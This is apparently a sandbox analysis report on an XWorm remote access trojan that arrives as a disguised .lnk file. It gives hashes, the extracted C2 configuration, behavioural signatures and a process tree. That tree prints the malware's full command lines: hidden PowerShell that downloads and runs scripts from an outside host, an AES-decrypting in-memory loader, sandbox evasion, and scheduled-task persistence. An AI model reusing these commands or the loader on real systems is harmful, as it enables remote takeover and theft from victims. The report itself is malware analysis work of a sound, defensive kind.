xworm | 47d4598feab8c5f558273ce041a121a5850d0e693b2d622297873429bd8a4966

Analysis

user interaction
yes
max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
06/06/2026, 04:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
source.txt.lnk
Size 2KB
Sample260606-e39m3ahy3w
SHA256 47d4598feab8c5f558273ce041a121a5850d0e693b2d622297873429bd8a4966
MD5 c25a3d6ba7042d0acc4086271861d298
SHA1 f574c6774b107be790beabd515bca73661f7ede3
SHA512 4549dbb109b9a65430d272c624e22b3f86286bf46b9b93ed19f915860a9f025cb4f52cbee8459de6ef6f026e848cce5b47aaedf7fc94af9b9d26276abebe895f
TLSH
T154415A1467DA1710F3B78E3768BAE2008A357C59FD729F9D4190858D1829911ECB6F2B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution xworm ransomware rat trojan

Malware Config

Extracted

Family

xworm

Version

bunch-brooklyn.with.playit.plus:5455

Mutex

0wEllBWOXJQvBsQd

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2212-96-0x000001A118E40000-0x000001A118E50000-memory.dmp	family_xworm

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2860	powershell.exe
3	4368	powershell.exe
4	2212	powershell.exe
6	2212	powershell.exe
7	2212	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3140	powershell.exe
2212	powershell.exe
4352	powershell.exe
2996	powershell.exe
2860	powershell.exe
4368	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000_Classes\Local Settings	wscript.exe
Key created	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2220	NOTEPAD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2212	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2860	powershell.exe
2860	powershell.exe
4368	powershell.exe
4368	powershell.exe
3140	powershell.exe
3140	powershell.exe
2212	powershell.exe
2212	powershell.exe
2996	powershell.exe
4352	powershell.exe
2996	powershell.exe
4352	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe
2212	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeIncreaseQuotaPrivilege	3140	powershell.exe
Token: SeSecurityPrivilege	3140	powershell.exe
Token: SeTakeOwnershipPrivilege	3140	powershell.exe
Token: SeLoadDriverPrivilege	3140	powershell.exe
Token: SeSystemProfilePrivilege	3140	powershell.exe
Token: SeSystemtimePrivilege	3140	powershell.exe
Token: SeProfSingleProcessPrivilege	3140	powershell.exe
Token: SeIncBasePriorityPrivilege	3140	powershell.exe
Token: SeCreatePagefilePrivilege	3140	powershell.exe
Token: SeBackupPrivilege	3140	powershell.exe
Token: SeRestorePrivilege	3140	powershell.exe
Token: SeShutdownPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeSystemEnvironmentPrivilege	3140	powershell.exe
Token: SeRemoteShutdownPrivilege	3140	powershell.exe
Token: SeUndockPrivilege	3140	powershell.exe
Token: SeManageVolumePrivilege	3140	powershell.exe
Token: 33	3140	powershell.exe
Token: 34	3140	powershell.exe
Token: 35	3140	powershell.exe
Token: 36	3140	powershell.exe
Token: SeIncreaseQuotaPrivilege	3140	powershell.exe
Token: SeSecurityPrivilege	3140	powershell.exe
Token: SeTakeOwnershipPrivilege	3140	powershell.exe
Token: SeLoadDriverPrivilege	3140	powershell.exe
Token: SeSystemProfilePrivilege	3140	powershell.exe
Token: SeSystemtimePrivilege	3140	powershell.exe
Token: SeProfSingleProcessPrivilege	3140	powershell.exe
Token: SeIncBasePriorityPrivilege	3140	powershell.exe
Token: SeCreatePagefilePrivilege	3140	powershell.exe
Token: SeBackupPrivilege	3140	powershell.exe
Token: SeRestorePrivilege	3140	powershell.exe
Token: SeShutdownPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeSystemEnvironmentPrivilege	3140	powershell.exe
Token: SeRemoteShutdownPrivilege	3140	powershell.exe
Token: SeUndockPrivilege	3140	powershell.exe
Token: SeManageVolumePrivilege	3140	powershell.exe
Token: 33	3140	powershell.exe
Token: 34	3140	powershell.exe
Token: 35	3140	powershell.exe
Token: 36	3140	powershell.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeIncreaseQuotaPrivilege	4352	powershell.exe
Token: SeSecurityPrivilege	4352	powershell.exe
Token: SeTakeOwnershipPrivilege	4352	powershell.exe
Token: SeLoadDriverPrivilege	4352	powershell.exe
Token: SeSystemProfilePrivilege	4352	powershell.exe
Token: SeSystemtimePrivilege	4352	powershell.exe
Token: SeProfSingleProcessPrivilege	4352	powershell.exe
Token: SeIncBasePriorityPrivilege	4352	powershell.exe
Token: SeCreatePagefilePrivilege	4352	powershell.exe
Token: SeBackupPrivilege	4352	powershell.exe
Token: SeRestorePrivilege	4352	powershell.exe
Token: SeShutdownPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeSystemEnvironmentPrivilege	4352	powershell.exe
Token: SeRemoteShutdownPrivilege	4352	powershell.exe
Token: SeUndockPrivilege	4352	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3748	MiniSearchHost.exe
2212	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1520 wrote to memory of 1836	1520	cmd.exe	82
PID 1836 wrote to memory of 2860	1836	cmd.exe	83
PID 2860 wrote to memory of 3792	2860	powershell.exe	84
PID 3792 wrote to memory of 4368	3792	wscript.exe	85
PID 3792 wrote to memory of 2220	3792	wscript.exe	87
PID 4368 wrote to memory of 3744	4368	powershell.exe	88
PID 3744 wrote to memory of 3140	3744	cmd.exe	89
PID 3744 wrote to memory of 2212	3744	cmd.exe	91
PID 2212 wrote to memory of 4352	2212	powershell.exe	92
PID 2212 wrote to memory of 2996	2212	powershell.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\source.txt.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1520
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /c powershell -w hidden -c "$ProgressPreference='SilentlyContinue';IWR 'https://adorable-buttercream-eaefd6.netlify.app/working.vbs' -OutFile 'C:\Users\Admin\AppData\Local\Temp\working.vbs';Start-Process wscript.exe -ArgumentList '//nologo','C:\Users\Admin\AppData\Local\Temp\working.vbs' -WindowStyle Hid
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hidden -c "$ProgressPreference='SilentlyContinue';IWR 'https://adorable-buttercream-eaefd6.netlify.app/working.vbs' -OutFile 'C:\Users\Admin\AppData\Local\Temp\working.vbs';Start-Process wscript.exe -ArgumentList '//nologo','C:\Users\Admin\AppData\Local\Temp\working.vbs' -WindowStyle Hid
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2860
  - - C:\Windows\system32\wscript.exe
      "C:\Windows\system32\wscript.exe" //nologo C:\Users\Admin\AppData\Local\Temp\working.vbs
      4⤵
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3792
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -NoP -Ep Bypass -c "$ProgressPreference='SilentlyContinue'; IWR 'https://adorable-buttercream-eaefd6.netlify.app/RASoptimizerinstaller.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\u.bat' -UseBasicParsing; & 'C:\Users\Admin\AppData\Local\Temp\u.bat'"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4368
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\u.bat""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3744
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoLogo -NoProfile -Command "if((Get-CimInstance Win32_VideoController | Where-Object {$_.Name -like '*Microsoft Remote Display Adapter*'}) -or ([math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory/1GB) -lt 3)){exit 1}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        \Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -ep bypass -command function yQLzskBbeqMKE($asjkfjkasf){ $mnbvcxzqwert=[System.Security.Cryptography.SymmetricAlgorithm]::Create('AES'); $mnbvcxzqwert.Mode=1; $mnbvcxzqwert.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $mnbvcxzqwert.Key=[Convert]::FromBase64String('vQKm+WD9FvCi7dWt+nrnJyX+TDPXRF4tm6Eyl2TnN/E='); $mnbvcxzqwert.IV=[Convert]::FromBase64String('htjOxBTDg/SqksjlCbHUoA=='); $poiuytrewq=$mnbvcxzqwert.CreateDecryptor(); $lkjhgfdsaz=$poiuytrewq.TransformFinalBlock($asjkfjkasf, 0, $asjkfjkasf.Length); $poiuytrewq.Dispose(); $mnbvcxzqwert.Dispose(); $lkjhgfdsaz;}function KNXajKGQbosaRWji($qwertyuiop,$zxcvbnmasd){ $fghjklpoiu=[System.Reflection.Assembly]::Load([byte[]]$qwertyuiop); $rtyuioasdfg=$fghjklpoiu.EntryPoint; $rtyuioasdfg.Invoke($null, $zxcvbnmasd);}$vbnmghjkl='C:\Users\Admin\AppData\Local\Temp\u.bat';$host.UI.RawUI.WindowTitle = $vbnmghjkl;$wertyuioplk=[System.IO.File]::ReadAllText($vbnmghjkl).Split([Environment]::NewLine);foreach ($cxzmlkjhgf in $wertyuioplk) { if ($cxzmlkjhgf.StartsWith(':: ')) { $nbvcxyzaqw=$cxzmlkjhgf.Substring(3); break; }}$pasdfghjklo = $nbvcxyzaqw -split '\\';$qazwsxedcrf=yQLzskBbeqMKE ([Convert]::FromBase64String($pasdfghjklo[0]));KNXajKGQbosaRWji $qazwsxedcrf $null;$rfvtgbyhnuj=yQLzskBbeqMKE ([Convert]::FromBase64String($pasdfghjklo[1]));KNXajKGQbosaRWji $rfvtgbyhnuj (,[string[]] (''));
        7⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command " $Action = New-ScheduledTaskAction -Execute 'conhost.exe' -Argument '--headless " powershell -NoProfile -WindowStyle Hidden -c \"iex([System.Environment]::GetEnvironmentVariable(''NDEG''))\""'; $Trigger = New-ScheduledTaskTrigger -AtLogon; $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0; Register-ScheduledTask -TaskName 'MiscrosoftUpdater' -Action $Action -Trigger $Trigger -Settings $Settings -RunLevel Highest -Force;"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -w hidden -Command "Get-WmiObject -Namespace root/SecurityCenter2 -Class AntiVirusProduct | Select-Object -ExpandProperty displayName"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2996
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\RAS_Optimizer_Patched.txt
        5⤵
        Opens file in notepad (likely ransom note)
        
        PID:2220

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30
TLSH
T1F661DC323375B0D4895A7F07192C19C463BF8356EA94AF4CB658620ED92B44BDF222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 28be1f023974ca3dfe94abc2d2d1a3559f16dac7fc20731c37c4d0c102c32cc1
MD5 281d657862394d9ba7818383cb561c55
SHA1 dfd3be18354d6f334b2e0195014521ed8c04738a
SHA512 3a6067099629942a2526f24529321984519ecdf95695f696ebd92fa79652f7941b378614b545a440ebcda9447d7df8d38f131904b5a25e0a6c388541b33bd595
TLSH
T1CB215633B79CC135C8D9117A2088AD01B2B5C3CB449E8E9B6B84C508A57F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4acad63d25c1611aa21d37f4ea1ed92364ba987ad43358c45342b77cec192e44
MD5 beeca219006f60d47b00be4f34a47d0a
SHA1 35cc0dcce2ab689a81286c17d1265ead97036828
SHA512 8f85fceafe0fe06dd6e2c73227c06b7360a7b8361c67e5054cb9681f11f433bd1e22120611611898d79eeeed6ae9fdda4a0e08bb3d748821ca0df9d29dee08c2
TLSH
T121216833B7ADC1A5C8D9117A208CAD10B276C3C7449ECFCB2A84C118997F6D9DB945A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 74c54ceaa1c610942e7643e56e7f1a0976287ca3f8ab3026f9ba68a2ddea1fd4
MD5 9a7d021271fd69d4667ac1c584df9a50
SHA1 bd47acfcbe8f8e26e3de18029d9e58386f493ae8
SHA512 b0212b3e422e518ff8ff0cafb363c81c749f06f8882b357459d190b1a61c7e7512b29b99a74c0d8fdd26665c539932c8902148fcd07e668e1ef1a6d73688da44
TLSH
T155216533B3ECC125C8D9117A208CAD00B2B6C3C7449E8F9B7A84C519957F9DADB642A4
MD5 SHA1 SHA512 TLSH

Submit Download

SearchHoverUnifiedTileModelCache.dat

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Size 20KB
SHA256 35ba39b01c4d564a467e4571cc5fb2df28313a4a6ee7f2b7399da8e44c33f2cf
MD5 6871532237c898be8a84517c86b94034
SHA1 04d9895a46eedc6817c60f714fdb07b593d57f84
SHA512 fd60fe956d6f0553073d2a9b2d47a5a0a0f099fd35462a079ccad392efd589bc3bba13c87672decab98ae81e0773e2b108e5b4814982756220a21dbc99b04c81
SSDEEP 384:vJWJWLVca12krtuVm+hglBOVjeQ8RJoyrghzjUTMWI5P4Mm5H+GDa50foRcj3DYn:R+WLVcWrWl8RJFrgRjUTMdmzH+GDa50I
TLSH
T1E9A24B743AF51315F3B29F759BF1A95A643AB866AC00DB4D0162028D0977D92CEB0F3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SearchHoverUnifiedTileModelCache.dat

Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
Size 21KB
SHA256 21f357df00afc176bbdc46e253296335e74868299487d6d3174c59df4cc367d9
MD5 2c66e38eb576b015799951658436b013
SHA1 82f54aa58377cd33c8b780872485e9a8a5535c91
SHA512 7d6d7c5730440bce96fb429386b05e42e97b9210384e0da22c2254d39865ccbd117a3933566edb9929f71f4a99785d53ed9fe5a715e38484c73d4945d28933d0
SSDEEP 384:RJWJWLVca12krtuVm+hglBOVjeQ8RJoorghzjUTMWI5P4Mm5H+GDa50foRcj3DYn:P+WLVcWrWl8RJTrgRjUTMdmzH+GDa50I
TLSH
T102A24C743AF51315F3B29F759BF1A95A643AB866AC00DB4D0162028D0977D92CEB0F3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RAS_Optimizer_Patched.txt

Path C:\Users\Admin\AppData\Local\Temp\RAS_Optimizer_Patched.txt
Size 42B
SHA256 9809ad6b1768b816e9a815678925e28318034f2698f723176666a2358480467a
MD5 8f78b19e6cb501e2c8a018f73666cee3
SHA1 7a97f997cacc20db6501c204c35882260357adf1
SHA512 22af68791c2118f95b8c29678c011a6805894b71730e5b37a5c5566e1472a0dc0ba319cd9b71a9c41e47bef407f86ef8d17e82817f2ff52944c32597cebd63e6
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_isrjes4y.ckt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_isrjes4y.ckt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

u.bat

Path C:\Users\Admin\AppData\Local\Temp\u.bat
Size 11.1MB
SHA256 67e7bfdad38e31cc03ad41b1ed79fb71ee4eca409b277d482991dd34f9a14cfd
MD5 d5c4dc4b7810e1a7d5a88b90b797b7db
SHA1 f96f5f418022de3f9aca6bccb4d08a8844bb00e6
SHA512 00bea1248443dd2aa91654634f95b2f137d3bb7971d29ba80326aa13325c007474f9e6510a7085013238403d49a5df057384748d31fa483f41d18a21fc06d691
SSDEEP 49152:V/Vu3ivh8pSDPi/XAgEwRGSVA6Pzi9m2NzYCGHnkj5QqIddhZcnEjOX3MNzBDYeo:P
TLSH
T140C633165F75ADEE0B34C63C246F5F1D2BA40E854049D6E66BE368CB278DF43A01BC89
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

working.vbs

Path C:\Users\Admin\AppData\Local\Temp\working.vbs
Size 725B
SHA256 fcbe0711ebd173e6e15e8e6e0fb42b924fb9a8333d19c704e15d6baef2892c84
MD5 f0dc209ee8274292ce2c376cd8f06db3
SHA1 b13654243882082e5f8946405d9e93b53f214ad7
SHA512 3e835d0b1fc47d6d1167ec2a159e710c3f21f42de6b8d12b54bc4493c951a37c363c98f49b767c0bc93e455505ab4fbf9e48e5369a8cf2720c2e8fc6d4c05d66
TLSH
T1F801C010251B40BD8F37E1F598A6CD2DA3B4D693DD7148312290CD8961123EC636ECA3
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2212-98-0x000001A155410000-0x000001A155416000-memory.dmp

Download

memory/2212-97-0x000001A1553C0000-0x000001A15540E000-memory.dmp

Download

memory/2212-53-0x000001A13CA20000-0x000001A13CDD2000-memory.dmp

Download

memory/2212-96-0x000001A118E40000-0x000001A118E50000-memory.dmp

Download

memory/2212-54-0x000001A154F60000-0x000001A15539C000-memory.dmp

Download

memory/2860-9-0x00000212CBBD0000-0x00000212CBBE0000-memory.dmp

Download

memory/2860-1-0x00000212CBBD0000-0x00000212CBBE0000-memory.dmp

Download

memory/2860-8-0x00000212E78E0000-0x00000212E7902000-memory.dmp

Download

memory/2860-0-0x00000212CBBD0000-0x00000212CBBE0000-memory.dmp

Download

memory/3140-42-0x000001B4F8B80000-0x000001B4F8B8A000-memory.dmp

Download

memory/3140-44-0x000001B4F8E00000-0x000001B4F8E24000-memory.dmp

Download

memory/3140-43-0x000001B4F8E00000-0x000001B4F8E2A000-memory.dmp

Download

memory/3140-41-0x000001B4F8BC0000-0x000001B4F8C73000-memory.dmp

Download

memory/3140-40-0x000001B4F8BA0000-0x000001B4F8BBC000-memory.dmp

Download

memory/4352-74-0x00000146ABF60000-0x00000146ABF7C000-memory.dmp

Download